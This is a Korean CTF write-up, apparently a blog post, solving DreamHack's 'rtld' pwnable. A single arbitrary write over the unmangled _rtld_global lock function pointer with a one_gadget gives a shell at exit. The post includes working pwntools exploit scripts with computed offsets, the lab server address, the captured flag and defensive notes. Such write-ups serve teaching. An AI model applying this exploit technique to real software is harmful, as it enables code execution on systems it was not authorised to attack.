[🥉 Bronze 2] 딱 한 번의 임의 주소 쓰기로 셸 열기 — DreamHack rtld 풀이

2026-07-22·1분 읽기·

[🥉 Bronze 2] 딱 한 번의 임의 주소 쓰기로 셸 열기 — DreamHack rtld 풀이

주어진 건 `*(long*)addr = value` 딱 한 번, 그리고 stdout 리크 하나뿐이다. get_shell() 은 있지만 PIE base 를 몰라 못 쓴다. libc 훅도, FSOP 도, atexit 체인도 전부 막힌 상태에서 문제 이름이 가리키는 곳 — 로더(ld.so) 의 _rtld_global 을 노렸다. 종료 시 _dl_fini 가 호출하는 락 함수 포인터를 one_gadget 으로 덮으면 프로그램이 끝나는 순간 셸이 열린다.

문제: DreamHack — rtld 분류: pwnable 난이도: 🥉 Bronze 2 FLAG: DH{e8992639751efccc8aed4a007c3b50542f352cb7b564418c1db1edbc5a87c4f0}

미해결 목록에 며칠째 걸려 있던 문제다. 소스는 40줄도 안 되는데, 표준 pwn 기법을 순서대로 다 넣어봐도 하나씩 다 막혔다. 결국 이 문제를 푸는 열쇠는 이름 그 자체 — rtld, 즉 런타임 로더(ld.so) 였다.

주어진 것: 쓰기 한 번, 리크 하나

소스 전체가 이게 전부다.

// gcc -o rtld rtld.c -fPIC -pie
void get_shell() { system("/bin/sh"); }
 
int main() {
    long addr;
    long value;
    initialize();
 
    printf("stdout: %p\n", stdout);   // libc 주소 리크 (딱 하나)
 
    printf("addr: ");
    scanf("%ld", &addr);
    printf("value: ");
    scanf("%ld", &value);
 
    *(long *)addr = value;            // 임의 주소에 8바이트 쓰기 (딱 한 번)
    return 0;
}

정리하면 손에 쥔 카드는 두 장이다.

  • 리크: printf("stdout: %p") — stdout 은 libc 안 _IO_2_1_stdout_ 를 가리키므로 libc base 를 정확히 알 수 있다.
  • 쓰기: *(long*)addr = value — 원하는 주소에 원하는 8바이트를 딱 한 번 쓴다. 버퍼 오버플로우가 아니라 순수한 write-what-where 다.

get_shell() 이 친절하게 들어있지만, 함정이다. 바이너리는 PIE 라 실행 파일의 로드 주소가 매 실행마다 랜덤이고, 우리가 가진 리크는 libc 뿐이다. get_shell 의 실제 주소를 모르니 어디에 써넣을 수도, 어디로 점프시킬 수도 없다.

rtld 바이너리의 보호기법과 main() 핵심 로직 — Partial RELRO·Canary·NX·PIE 가 모두 켜져 있고, main 은 stdout 을 리크한 뒤 scanf 로 받은 주소에 값을 한 번 써넣는다
rtld 바이너리의 보호기법과 main() 핵심 로직 — Partial RELRO·Canary·NX·PIE 가 모두 켜져 있고, main 은 stdout 을 리크한 뒤 scanf 로 받은 주소에 값을 한 번 써넣는다

보호기법은 평범하다. Canary 가 있으니 스택을 밀어 리턴 주소를 덮는 접근은 불가능하고, PIE 라 바이너리 내부 주소(GOT 포함)는 리크 없이는 손댈 수 없다. 그러니 "libc 안에서, 프로그램이 알아서 호출해 주는 함수 포인터" 를 딱 하나 골라 덮는 그림밖에 안 나온다.

삽질: 표준 후보들이 하나씩 막히다

libc 리크 + 단발 쓰기 조합에서 제일 먼저 떠오르는 표적들을 순서대로 시도했다. 결론부터 말하면 흔한 4개가 전부 막혔고, 그 과정이 오히려 정답의 힌트가 됐다.

막힌 표준 기법 4가지 — 왜 안 되는지 (클릭)

① __malloc_hook / __free_hook 제일 고전적인 표적이다. 하지만 이 프로그램은 malloc 도 free 도 한 번도 호출하지 않는다. 실제로 libc 의 malloc/free 진입점에 브레이크포인트를 걸고 프로그램을 끝까지 돌려도 단 한 번도 걸리지 않았다. 훅을 덮어봤자 트리거될 일이 없다.

② stdout FSOP (_IO_2_1_stdout_ vtable hijack) exit() 은 종료 직전 _IO_cleanup → _IO_flush_all_lockp 로 열린 FILE 들을 flush 하면서 _IO_OVERFLOW(vtable) 를 호출한다. 여기를 위조하는 게 FSOP 인데 — 이 바이너리는 initialize() 에서 setvbuf(stdout, NULL, _IONBF, 0) 로 버퍼링을 꺼 둔다. 출력이 매번 즉시 flush 돼서 종료 시점엔 flush 할 잔여 데이터가 없고, 그래서 vtable 이 dereference 되지 않는다. _IO_2_1_stdout_ 의 vtable 필드를 통째로 0x41414141… 로 덮어도 종료 시 크래시조차 안 났다.

③ atexit / __cxa_finalize 핸들러 체인 exit() → __run_exit_handlers 는 등록된 소멸자 함수 포인터를 하나씩 호출한다. 여기를 덮으면 될 것 같지만, glibc 는 이 포인터들을 PTR_MANGLE 로 보호한다.

ror  rdx, 0x11
xor  rdx, fs:[0x30]   ; pointer_guard (프로세스별 랜덤 시크릿)
call rdx

fs:0x30 에 있는 pointer_guard 는 프로세스마다 랜덤이라, 리크가 stdout 하나뿐인 이 문제에선 알아낼 방법이 없다. 위조된 포인터를 써넣어도 언맹글 과정에서 엉뚱한 값이 되어 버린다.

④ 바이너리 PIE base 를 libc 로부터 유추 get_shell() 을 직접 쓰려면 바이너리 base 가 필요하다. libc base 와 실행 파일 base 사이에 고정 오프셋이 있는지 5회 반복해 /proc/pid/maps 를 비교했지만 — 완전히 랜덤이었다. 실행 파일 PIE 와 libc 는 서로 다른 랜덤 클러스터에 매핑된다.


여기서 중요한 관찰 하나. ③번에서 atexit 체인은 막혔지만, 그 과정에서 exit() 이 종료 시 확실히 실행하는 코드 경로 를 하나 알게 됐다. exit() 은 등록된 핸들러들을 부르는데, 그 중 하나가 로더가 등록해 둔 _dl_fini 다. _dl_fini 자체는 정상적으로(언맹글되어) 호출된다. 그렇다면 _dl_fini 안에서 부르는 포인터 중에 mangle 되지 않은 게 있다면?

핵심: _dl_fini 가 부르는 락 함수 포인터

문제 이름 rtld 는 run-time dynamic linker, 곧 ld.so 를 가리킨다. 로더는 전역 상태를 _rtld_global 이라는 거대한 구조체에 들고 있는데, 이 구조체 안에는 함수 포인터 들이 그대로(맹글 없이) 박혀 있다. 그중 하나가 재귀 락 콜백이다.

_dl_fini 는 종료 시 맨 먼저 로드 락을 잡는다.

// glibc 2.23, elf/dl-fini.c 中
__rtld_lock_lock_recursive (GL(dl_load_lock));

이 매크로는 이렇게 전개된다.

#define __rtld_lock_lock_recursive(NAME) \
    GL(dl_rtld_lock_recursive) (&(NAME).mutex)

즉 _rtld_global._dl_rtld_lock_recursive 라는 함수 포인터를 그대로 호출 한다. 인자(rdi)는 &_dl_load_lock.mutex 다. 제공된 ld-2.23.so 를 디스어셈블하면 이 호출이 그대로 보인다.

ld-2.23.so 디스어셈블 — _dl_fini 의 재귀 락 획득부. _rtld_global(0x226040) 을 로드해 rdi 를 세팅한 뒤, call *(rip 상대) 로 _rtld_global+0xf08 위치의 함수 포인터를 간접 호출한다
ld-2.23.so 디스어셈블 — _dl_fini 의 재귀 락 획득부. _rtld_global(0x226040) 을 로드해 rdi 를 세팅한 뒤, call *(rip 상대) 로 _rtld_global+0xf08 위치의 함수 포인터를 간접 호출한다

lea rax, [rip+…] # 226040 <_rtld_global> 로 구조체 주소를 잡고, mov rax, rdi 로 인자를 넘긴 뒤, call *0x…(%rip) # 226f48 <_rtld_global+0xf08> — 오프셋 0xf08 에 있는 함수 포인터를 부른다. 이 포인터는 atexit 체인과 달리 PTR_MANGLE 로 보호되지 않는다. 평범한 raw 포인터라 임의 쓰기 한 번으로 갈아끼울 수 있다.

정리하면 그림이 이렇게 된다.

exit 경로 다이어그램 — main 의 return 0 이 exit() 을 호출하면, atexit 핸들러 체인(①)은 PTR_MANGLE 보호로 막다른 길이지만, _dl_fini(②)가 부르는 _rtld_global._dl_rtld_lock_recursive 는 맹글 없는 함수 포인터라 one_gadget 으로 덮으면 종료 시 execve로 이어진다
exit 경로 다이어그램 — main 의 return 0 이 exit() 을 호출하면, atexit 핸들러 체인(①)은 PTR_MANGLE 보호로 막다른 길이지만, _dl_fini(②)가 부르는 _rtld_global._dl_rtld_lock_recursive 는 맹글 없는 함수 포인터라 one_gadget 으로 덮으면 종료 시 execve로 이어진다

여기에 인자 제약이 없는 one_gadget(레지스터/스택 조건만 맞으면 인자 없이 execve("/bin/sh") 하는 코드 조각)을 써넣으면, 프로그램이 return 0 으로 끝나는 순간 셸이 열린다. 쓰기는 딱 한 번이면 충분하다.

표적 주소 계산: 로더는 libc 바로 위에 있다

남은 문제는 "_rtld_global 의 주소를 어떻게 아느냐" 다. 우리가 가진 건 libc 리크뿐이고 _rtld_global 은 ld.so 안에 있다. 그런데 로더는 libc 를 자기 바로 아래에 매핑하기 때문에, libc base 와 ld base 사이 간격이 고정 이다. 실제로 5번 실행해 확인했다.

프로그램을 5회 실행해 stdout 리크로 libc base 를, /proc/pid/maps 로 ld base 를 뽑아 비교한 결과 — ld_base − libc_base 가 매번 동일하게 고정되어 있고, stdout − libc 오프셋도 0x3c5620 로 일정하다
프로그램을 5회 실행해 stdout 리크로 libc base 를, /proc/pid/maps 로 ld base 를 뽑아 비교한 결과 — ld_base − libc_base 가 매번 동일하게 고정되어 있고, stdout − libc 오프셋도 0x3c5620 로 일정하다

ld_base − libc_base 가 매 실행 동일하다. 그러니 주소 사슬이 완성된다.

주소 사슬 다이어그램 — stdout 리크에서 0x3c5620 을 빼 libc_base 를 얻고, 거기에 libc 매핑 예약 크기만큼 더해 ld_base 를 얻은 뒤, +0x226040 으로 _rtld_global, 다시 +0xf08 로 _dl_rtld_lock_recursive 함수 포인터에 도달한다. 실행 파일 자체 PIE base 는 이 사슬과 무관하게 랜덤이라 get_shell 을 직접 못 쓴다
주소 사슬 다이어그램 — stdout 리크에서 0x3c5620 을 빼 libc_base 를 얻고, 거기에 libc 매핑 예약 크기만큼 더해 ld_base 를 얻은 뒤, +0x226040 으로 _rtld_global, 다시 +0xf08 로 _dl_rtld_lock_recursive 함수 포인터에 도달한다. 실행 파일 자체 PIE base 는 이 사슬과 무관하게 랜덤이라 get_shell 을 직접 못 쓴다
libc_base    = stdout_leak - 0x3c5620          # _IO_2_1_stdout_ 오프셋
ld_base      = libc_base + <libc 매핑 크기>      # 로더는 libc 바로 위
_rtld_global = ld_base   + 0x226040            # ld.so 심볼
target       = _rtld_global + 0xf08            # _dl_rtld_lock_recursive

함정: 로컬 오프셋을 그대로 원격에 쓰면 안 된다

여기서 한 번 걸려 넘어졌다. patchelf 로 제공 ld/libc 를 물려 로컬에서 재현하니 ld_base − libc_base = 0x400000 이 나왔다. 그런데 이 값을 원격에 그대로 넣으면 표적이 엉뚱한 곳을 가리켜 셸이 안 열린다.

이유는 커널의 mmap 정렬 방식 차이다. 내 로컬 커널(6.17)은 2MB 이상의 큰 매핑을 THP(투명 대용량 페이지) 경계인 2MB 단위로 정렬 한다. 그래서 libc/ld base 가 항상 …000000 꼴로 떨어지고, 둘 사이 간격도 2MB 배수(0x400000)로 벌어진다.

반면 원격 서버는 리크된 libc base 가 …8fa000 처럼 페이지 단위(0x1000)로만 정렬 돼 있었다. 실제로 셸을 딴 뒤 uname 을 찍어보니 원격은 Linux 4.19.234 — 오래된 커널이라 큰 파일 매핑을 2MB 로 정렬하지 않는다. 이 경우 로더는 libc 를 자기 바로 아래에 빈틈없이 매핑하므로, 간격은 정확히 libc 의 PT_LOAD 예약 크기 가 된다.

libc PT_LOAD:  (vaddr 0,        memsz 0x1bfbe8)   # R E
               (vaddr 0x3c07c0, memsz 0x91e0)     # RW
예약 크기 = pageup(0x3c07c0 + 0x91e0) = 0x3ca000  →  원격의 ld_off
  • 로컬(THP 2MB 정렬 커널): ld_off = 0x400000
  • 원격(4.19 페이지 정렬 커널): ld_off = 0x3ca000

잘못된 오프셋을 써도 실제 락 포인터(_rtld_global+0xf08)는 건드리지 않으니 프로그램은 그냥 조용히 정상 종료한다(크래시 없음). 덕분에 후보 오프셋을 안전하게 시도해볼 수 있었고, 계산값 0x3ca000 이 정확히 들어맞았다.

one_gadget 고르기

제공된 libc 의 one_gadget 후보는 세 개다.

one_gadget libc-2.23.so 실행 결과 — execve("/bin/sh") 로 이어지는 세 후보(0x4527a, 0xf03a4, 0xf1247)와 각각의 rsp 오프셋 NULL 제약 조건
one_gadget libc-2.23.so 실행 결과 — execve("/bin/sh") 로 이어지는 세 후보(0x4527a, 0xf03a4, 0xf1247)와 각각의 rsp 오프셋 NULL 제약 조건

_dl_fini 의 락 호출 시점의 스택 상태에 따라 어떤 게이트가 열릴지 갈린다. 로컬에선 0x4527a·0xf1247 둘 다 통했지만, 원격에선 [rsp+0x70] == NULL 제약을 만족하는 0xf1247 이 실제로 셸을 띄웠다.

gdb 로 원리 실측

말로만 하면 지어낸 것처럼 보이니, 로컬에서 gdb 로 한 스텝씩 확인했다. write 명령(*(long*)addr = value) 직전에 멈춰 rdx(주소)·rax(값)를 _rtld_global+0xf08 ↔ one_gadget 으로 주입하고, 그 자리의 값이 실제로 바뀌는지, 그리고 종료 시 $rip 이 정말 그 one_gadget 으로 튀는지 봤다.

gdb 런타임 실측 — write 직전 target(_rtld_global+0xf08) 에는 원래 ld 내부 락 함수(ld+0xc90)가 들어있다가, 쓰기 후 one_gadget 주소로 바뀌고, return 0 → exit → _dl_fini 실행 뒤 $rip 이 정확히 그 one_gadget 과 일치해 execve 로 진입함을 보여준다
gdb 런타임 실측 — write 직전 target(_rtld_global+0xf08) 에는 원래 ld 내부 락 함수(ld+0xc90)가 들어있다가, 쓰기 후 one_gadget 주소로 바뀌고, return 0 → exit → _dl_fini 실행 뒤 $rip 이 정확히 그 one_gadget 과 일치해 execve 로 진입함을 보여준다

화면 중간의 SIGSEGV 는 실패가 아니라 일부러 낸 것이다. 프로그램의 addr: value: 에 1, 1 을 먹여 주소 1 에 쓰게 만들면 거기서 죽는데, 그 덕에 라이브러리가 전부 매핑된 상태로 프로세스가 멈춘다. 그 시점에 info proc mappings 로 진짜 libc·ld 베이스를 읽고, 실제 덮어쓰기는 gdb 가 set *(long*)TARGET = VALUE 로 대신 한다. 오프셋을 관례로 가정하지 않고 실측하려는 것이다.

  • before: *(TARGET) = ld+0xc90 — 원래는 로더 내부의 진짜 락 함수가 들어있다.
  • after : *(TARGET) = one_gadget — 한 번의 쓰기로 갈아끼웠다.
  • exit 후 $rip == one_gadget — 종료 경로가 정확히 우리가 심은 주소를 호출한다.

원래 값이 ld+0xc90 인 것도 앞의 objdump 와 맞아떨어진다(로더는 시작 시 _rtld_global+0xf08 에 자기 내부 함수 ld+0xc90 을 넣어둔다). 우리는 그걸 one_gadget 으로 바꿔치기했을 뿐이다.

익스플로잇

로컬에서 먼저 셸을 확인하고, 오프셋만 원격용으로 바꿔 그대로 쐈다.

화면에 쓴 데모 스크립트는 exp_demo.py 하나로 로컬/원격을 겸한다.

#!/usr/bin/env python3
# 로컬/원격 공통 데모: 소스는 solve.py, 여기선 화면용으로 흐름만 출력
import sys, time
from pwn import remote, process, context
context.log_level='error'
STDOUT_OFF=0x3c5620; RTLD_GLOBAL=0x226040; LOCK_OFF=0xf08
if sys.argv[1]=='remote':
    io=remote('host3.dreamhack.games',10085,timeout=10); LD_OFF=0x3ca000; OG=0xf1247
    where='원격(host3.dreamhack.games:10085)'
else:
    io=process(['./rtld_patched']); LD_OFF=0x400000; OG=0xf1247
    where='로컬(rtld_patched)'
io.recvuntil(b'stdout: '); leak=int(io.recvline().strip(),16)
libc=leak-STDOUT_OFF; target=libc+LD_OFF+RTLD_GLOBAL+LOCK_OFF; value=libc+OG
print(f'[{where}]')
print(f'  stdout leak         = {hex(leak)}')
print(f'  libc_base           = {hex(libc)}')
print(f'  ld_base             = {hex(libc+LD_OFF)}   (libc + {hex(LD_OFF)})')
print(f'  write {hex(value)}')
print(f'     -> _rtld_global._dl_rtld_lock_recursive @ {hex(target)}')
io.recvuntil(b'addr: '); io.sendline(str(target).encode())
io.recvuntil(b'value: '); io.sendline(str(value).encode())
time.sleep(0.5)
io.sendline(b'echo ---shell---; id; uname -a')
if sys.argv[1]=='remote':
    io.sendline(b'cat /home/rtld/flag')
time.sleep(0.8)
try:
    out=io.recv(timeout=2).decode(errors='replace')
    print('  '+ '\n  '.join(l for l in out.splitlines() if l.strip()))
except Exception as e:
    print('  (no output)', e)
io.close()

cap_local.sh 는 그걸 로컬 모드로 돌리는 래퍼다.

이 글의 명령은 모두 solve/ 에서 실행한다.

echo '# 로컬 재현: patchelf 로 제공 ld/libc 를 물린 rtld_patched 대상'
echo
TERM=dumb python3 exp_demo.py local 2>&1 | grep -vE 'terminfo|_curses'
bash cap_local.sh
로컬 재현 — patchelf 로 제공 ld/libc 를 물린 rtld_patched 를 대상으로 stdout 리크에서 주소를 계산해 한 번의 쓰기를 넣자 uid=jinho 셸이 떨어진다
로컬 재현 — patchelf 로 제공 ld/libc 를 물린 rtld_patched 를 대상으로 stdout 리크에서 주소를 계산해 한 번의 쓰기를 넣자 uid=jinho 셸이 떨어진다

원격은 ld_off 를 0x3ca000, one_gadget 을 0xf1247 로 바꾼 게 전부다.

cap_remote.sh 는 같은 스크립트를 원격 모드로 부른다.

echo '# 원격 실서버 익스: 페이지 정렬 커널(4.19) 이라 ld_off = 0x3ca000'
echo
TERM=dumb python3 exp_demo.py remote 2>&1 | grep -vE 'terminfo|_curses'
bash cap_remote.sh
원격 실서버 익스 — host3.dreamhack.games 에 접속해 페이지 정렬 커널(4.19)에 맞춘 ld_off=0x3ca000 으로 쓰기를 넣자 uid=rtld 셸이 열리고 flag 를 읽어냈다
원격 실서버 익스 — host3.dreamhack.games 에 접속해 페이지 정렬 커널(4.19)에 맞춘 ld_off=0x3ca000 으로 쓰기를 넣자 uid=rtld 셸이 열리고 flag 를 읽어냈다

uid=1000(rtld) 로 셸을 얻고 /home/rtld/flag 를 읽었다.

DH{e8992639751efccc8aed4a007c3b50542f352cb7b564418c1db1edbc5a87c4f0}

자체 완결 solve.py

#!/usr/bin/env python3
from pwn import remote, process, context
context.log_level = 'info'
 
STDOUT_OFF  = 0x3c5620      # _IO_2_1_stdout_ 오프셋
RTLD_GLOBAL = 0x226040      # ld.so 내 _rtld_global
LOCK_OFF    = 0xf08         # _rtld_global._dl_rtld_lock_recursive
 
def pwn(io, ld_off, one_gadget):
    io.recvuntil(b'stdout: ')
    leak = int(io.recvline().strip(), 16)
    libc = leak - STDOUT_OFF
    target = libc + ld_off + RTLD_GLOBAL + LOCK_OFF
    value  = libc + one_gadget
    print(f"[*] libc base   : {hex(libc)}")
    print(f"[*] ld base     : {hex(libc + ld_off)}")
    print(f"[*] write {hex(value)} -> _rtld_global+0xf08 @ {hex(target)}")
    io.recvuntil(b'addr: ');  io.sendline(str(target).encode())
    io.recvuntil(b'value: '); io.sendline(str(value).encode())
 
import sys
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    io = remote('host3.dreamhack.games', 10085)
    pwn(io, ld_off=0x3ca000, one_gadget=0xf1247)   # 페이지 정렬 원격 (4.19)
else:
    io = process(['./rtld_patched'])
    pwn(io, ld_off=0x400000, one_gadget=0xf1247)   # THP 2MB 정렬 로컬
io.sendline(b'cat /home/rtld/flag; id')
io.interactive()

리크된 커널 정렬 방식을 모른다면, ld_off 후보 몇 개(0x3ca000 우선, 주변 페이지, 로컬값 0x400000)를 순회하며 쓰는 것도 안전하다. 틀린 오프셋은 실제 포인터를 안 건드려 그냥 정상 종료할 뿐이라, 새 연결로 다음 후보를 시도하면 된다.

방어 관점에서

이 문제의 익스는 사실 오래된 glibc(2.23)의 성질에 기댄다.

  • _rtld_global 의 함수 포인터가 맹글되지 않음 — 종료·언로드 경로에서 호출되는 로더 콜백들이 raw 포인터라 임의 쓰기 한 번에 노출된다. 최신 glibc 는 이 표면을 조금씩 줄였지만, 근본적으로 로더의 쓰기 가능 전역 상태는 여전히 매력적인 표적이다.
  • 로더와 libc 의 인접 매핑이 결정적 — libc 리크 하나로 ld base 가 유도된다. Full RELRO·추가 랜덤화가 없으면 "libc 만 알면 로더도 안다" 가 성립한다.
  • 애초에 임의 주소 쓰기 프리미티브 자체 가 문제의 근원이다. scanf("%ld", &addr) 로 받은 값을 검증 없이 *(long*)addr 에 그대로 쓰는 코드는, 리크 하나만 곁들이면 이렇게 통째로 뚫린다. 사용자 입력을 포인터로 신뢰하지 않는 것 — 결국 그게 전부다.

작은 문제였지만, "종료라는 지극히 평범한 이벤트 하나도 공격 표면"이라는 걸 다시 확인했다. exit() 뒤에서 로더가 조용히 부르는 함수 포인터 하나가, 딱 한 번의 쓰기를 셸로 바꿔주었다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥈 Silver 3] age가 fptr로 부활한다 — DreamHack uaf_overwrite 풀이
blog

[🥈 Silver 3] age가 fptr로 부활한다 — DreamHack uaf_overwrite 풀이

Human 구조체와 Robot 구조체가 우연히 크기가 같아 같은 tcache(0x30) bin을 공유한다. glibc 2.27의 tcache는 free() 시 청크 맨 앞(next 포인터)만 덮어쓰고 나머지는 그대로 두기 때문에, 자유로워진 Human의 age 필드가 재할당된 Robot의 함수 포인터(fptr) 자리에 그대로 되살아난다. 일반 one_gadget은 스택 정렬 문제로 전부 실패해서, execve 시스템콜 클러스터의 진입점을 직접 찾아 우회했다. gdb로 age가 fptr로 부활하는 순간을 런타임에서 직접 확인하고, unsorted bin 유출도 /proc의 실제 libc 베이스와 대조해 검증했다.
#dreamhack#ctf#pwnable+5
2026-07-08#dreamhack +3
[🥉 Bronze 3] 반환 주소 대신 "열 파일 이름"을 덮는다 — DreamHack bof 풀이
blog

[🥉 Bronze 3] 반환 주소 대신 "열 파일 이름"을 덮는다 — DreamHack bof 풀이

scanf("%144s") 로 스택 버퍼를 넘치는 전형적인 오버플로 문제. 그런데 덮을 것은 반환 주소가 아니다. 버퍼 바로 아래에 read_cat() 이 open() 할 파일명 "./cat" 이 놓여 있어서, 그 자리를 "flag" 로 덮으면 프로그램이 알아서 flag 파일을 열어 출력한다. 버퍼와 파일명 사이 거리 0x80 만 맞추면 끝.
#dreamhack#ctf#pwn+5
2026-07-07#dreamhack +2
[🥉 Bronze 4] 프로그램이 직접 알려주는 win() 주소 — DreamHack baby-bof 풀이
blog

[🥉 Bronze 4] 프로그램이 직접 알려주는 win() 주소 — DreamHack baby-bof 풀이

printf가 친절하게 win()의 주소를 그대로 출력해주고, 뒤이은 "값을 몇 번 쓸지" 입력은 스택 버퍼 크기와 아무 관계 없이 그 횟수만큼 8바이트씩 이어 쓴다. 리크된 주소를 그 값으로, 쓰기 횟수를 4로 주면 리턴 주소가 win()으로 바뀐다.
#dreamhack#ctf#pwnable+4
2026-07-05#dreamhack +2